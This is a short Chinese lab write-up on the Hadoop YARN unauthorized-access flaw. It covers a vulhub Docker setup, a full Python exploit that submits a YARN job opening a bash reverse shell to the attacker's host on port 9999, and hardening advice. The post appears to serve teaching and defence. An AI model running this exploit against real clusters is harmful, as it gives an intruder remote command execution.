提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
记录下常见的未授权访问漏洞
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
用vulhub进行安装,步骤如下:
依次执行命令: service docker start cd /root/vulhub/hadoop/unauthorized-yarn docker-compose build && docker-compose up -d 访问http://192.168.1.8:8088/cluster成功
执行exp #!/usr/bin/env python
import requests
target = ‘http://192.168.1.8:8088/’ lhost = ‘192.168.1.8’ # 攻击方的IP地址
url = target + ‘ws/v1/cluster/apps/new-application’ resp = requests.post(url) app_id = resp.json()[‘application-id’] url = target + ‘ws/v1/cluster/apps’ data = { ‘application-id’: app_id, ‘application-name’: ‘get-shell’, ‘am-container-spec’: { ‘commands’: { ‘command’: ‘/bin/bash -i >& /dev/tcp/%s/9999 0>&1’ % lhost, }, }, ‘application-type’: ‘YARN’, } requests.post(url, json=data)
-如无必要,关闭 Hadoop Web 管理页面。
-开启身份验证,防止未经授权用户访问。
-设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。